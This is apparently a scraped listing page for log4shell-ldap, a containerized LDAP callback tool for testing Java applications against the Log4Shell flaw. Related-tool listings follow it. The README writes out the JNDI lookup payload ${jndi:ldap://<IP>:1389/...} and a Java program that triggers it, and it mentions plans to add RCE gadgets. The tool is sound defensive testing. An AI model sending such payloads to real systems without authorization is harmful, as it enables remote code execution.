A tool for checking log4shell vulnerability mitigations

log4shell-ldap

A tool for checking log4shell vulnerability mitigations.

Usage:

  • Build a container image: docker build . -t log4shell
  • Run it: docker run -p 3000:3000 -p 1389:1389 -e publicIp=<IP> log4shell

Replace <IP> with an actual IP address of the host running the container. For local tests localhost should work just fine.

Once the tool is running use curl to test it's reachable: curl http://localhost:3000

This should print something like this:

$ curl http://localhost:3000
To test an application try to make log4j print ${jndi:ldap://localhost:1389/probably_not_vulnerable}

This output indicates the tool is running and curl was able to connect to it. If curl fails then check the IP address passed to docker run.

Assuming the curl test works then you can test an actual Java application. This is the simplest Java application:

package mypackage;

import org.apache.logging.log4j.LogManager;

public class Main {
    public static void main(String[] args) throws Exception {
        LogManager.getLogger(Main.class).fatal("${jndi:ldap://<IP>:1389/probably_not_vulnerable}");
    }
}

Again, replace <IP> with the IP address you used to start a container image. To compile it with Maven you will have to add following dependency intopom.xml:

<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-core</artifactId>
  <version>2.14.1</version>
</dependency>

The application has 3 possible outcomes:

  • Prints totally pwned!. This is happening when a vulnerable log4j2 version is executed on old Java. This is the worst case as it allows a very simple arbitrary remote code execution.
  • Prints Reference Class Name: probably vulnerable. This means a vulnerable log4j2 version is executed on recent Java. This makes it a bit harder to abuse the vulnerability, but RCE may still be possible and there is also a risk of DoS.
  • Prints ${jndi:ldap://:1389/probably_not_vulnerable} This means the application is either not vulnerable or the test is misconfigured :)

TODO

  • Local build. The build relies on JAR being available at the compilation time. This is trivial to achieve with containerized builds, but harder when building outside containers.
  • Refactoring. The code is simply hideous.
  • Public container into DockerHub. Is this a good idea?
  • Include Gadgets from the yoserial project to try to RCE when running on recent Java updates.

Disclaimer

This is an educational tool created purely for purposes of checking various log4shell mitigations and is not intended to be used to attack systems except where explicitly authorized. Author is not responsible or liable for misuse of the software. Use responsibly.

Credits

Similar Resources

Tool to check whether one of your applications is affected by a vulnerability in log4j: CVE-2021-44228

Tool to check whether one of your applications is affected by a vulnerability in log4j: CVE-2021-44228

log4shell.tools log4shell.tools is a tool allows you to run a test to check whether one of your applications is affected by a vulnerability in log4j:

Nov 2, 2022

log4jshell vulnerability checker tool

Description log4j-checker tool helps identify whether a certain system is running a vulnerable version of the log4j library. Download and run the tool

Dec 20, 2021

Proto-find is a tool for researchers that lets you find client side prototype pollution vulnerability.

proto-find proto-find is a tool for researchers that lets you find client side prototype pollution vulnerability. How it works proto-find open URL in

Dec 6, 2022

Agent-less vulnerability scanner for Linux, FreeBSD, Container, WordPress, Programming language libraries, Network devices

Agent-less vulnerability scanner for Linux, FreeBSD, Container, WordPress, Programming language libraries, Network devices

Vuls: VULnerability Scanner Vulnerability scanner for Linux/FreeBSD, agent-less, written in Go. We have a slack team. Join slack team Twitter: @vuls_e

Jan 9, 2023

The Go Vulnerability Database

The Go Vulnerability Database golang.org/x/vulndb This repository is a prototype of the Go Vulnerability Database. Read the Draft Design. Neither the

Dec 28, 2022

Super Java Vulnerability Scanner

Super Java Vulnerability Scanner

XiuScan 不完善,正在开发中 介绍 一个纯Golang编写基于命令行的Java框架漏洞扫描工具 致力于参考xray打造一款高效方便的漏扫神器 计划支持Fastjson、Shiro、Struts2、Spring、WebLogic等框架 PS: 取名为XiuScan因为带我入安全的大哥是修君 特点

Dec 30, 2021

🔎 Help find Trojan Source vulnerability in code 👀 . Useful for code review in project with multiple collaborators

TrojanSourceFinder TrojanSourceFinder helps developers detect "Trojan Source" vulnerability in source code. Trojan Source vulnerability allows an atta

Nov 9, 2022

A vulnerability scanner for container images and filesystems

A vulnerability scanner for container images and filesystems

A vulnerability scanner for container images and filesystems

Jan 1, 2023

Grafana Arbitrary File Reading Vulnerability

GrafanaArbitraryFileRead Usage 1. show info ❯ go run main.go -s [INF] VulnInfo: { "Name": "Grafana Ar

Sep 27, 2022
Comments
  • Define a basic GitHubActions sanity check

    Define a basic GitHubActions sanity check

    We could add automation that would generate a jar file and commit it back to the repository. Would make it a bit easier for container-skeptics to have it available out of the box.

    It'd be way easier to have a dockerized jar builder to run locally, but... I assume that if someone doesn't want to run the project inside Docker, they would probably not use the builder as well.

    image
Scanner to send specially crafted requests and catch callbacks of systems that are impacted by Log4J Log4Shell vulnerability (CVE-2021-44228)

scan4log4shell Scanner to send specially crafted requests and catch callbacks of systems that are impacted by Log4J Log4Shell vulnerability CVE-2021-4

Sep 17, 2022
Detect and fix log4j log4shell vulnerability (CVE-2021-44228)

log4fix This tool is to detect and fix the log4j log4shell vulnerability (CVE-2021-44228) by looking and removing the JndiLookup class from .jar/.war/

Sep 22, 2022
Discover and remediate Log4Shell vulnerability [CVE-2021-45105]

sakuraji_log4j This tool is used to discover and remedidate the Log4Shell vulnerability [CVE-2021-45105] by removing the 'JndiLookup.class' file from

Dec 28, 2021
Scans files for .jars potentially vulnerable to Log4Shell (CVE-2021-44228) by inspecting the class paths inside the .jar.

log4shelldetect Scans a file or folder recursively for jar files that may be vulnerable to Log4Shell (CVE-2021-44228) by inspecting the class paths in

Dec 15, 2022
Basic honeypot to capture log4shell payloads within HTTP headers.

log4shell-honeypot Catch and download log4shell payloads sent within HTTP headers. Modified version of Adikso's minecraft honeypot Setup git clone $re

Sep 2, 2022
A Smart Log4Shell/Log4j/CVE-2021-44228 Scanner

Log4Shell Sentinel - A Smart CVE-2021-44228 Scanner Introduction While there have some excellent tools released to help organizations scan their envir

Oct 29, 2022
A fast tool to mass scan for a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication and impersonating as the admin (CVE-2021-26855).
A fast tool to mass scan for a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication and impersonating as the admin (CVE-2021-26855).

proxylogscan This tool to mass scan for a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication and imperson

Dec 26, 2022
A fast tool to scan CRLF vulnerability written in Go
A fast tool to scan CRLF vulnerability written in Go

CRLFuzz A fast tool to scan CRLF vulnerability written in Go Resources Installation from Binary from Source from GitHub Usage Basic Usage Flags Target

Jan 1, 2023
Nuclei is a fast tool for configurable targeted vulnerability scanning based on templates offering massive extensibility and ease of use.
Nuclei is a fast tool for configurable targeted vulnerability scanning based on templates offering massive extensibility and ease of use.

Fast and customisable vulnerability scanner based on simple YAML based DSL. How • Install • For Security Engineers • For Developers • Documentation •

Dec 30, 2022
Proof-of-Concept tool for CVE-2021-29156, an LDAP injection vulnerability in ForgeRock OpenAM v13.0.0.

CVE-2021-29156 Proof-of-Concept (c) 2021 GuidePoint Security Charlton Trezevant [email protected] Background Today GuidePoint

Apr 13, 2022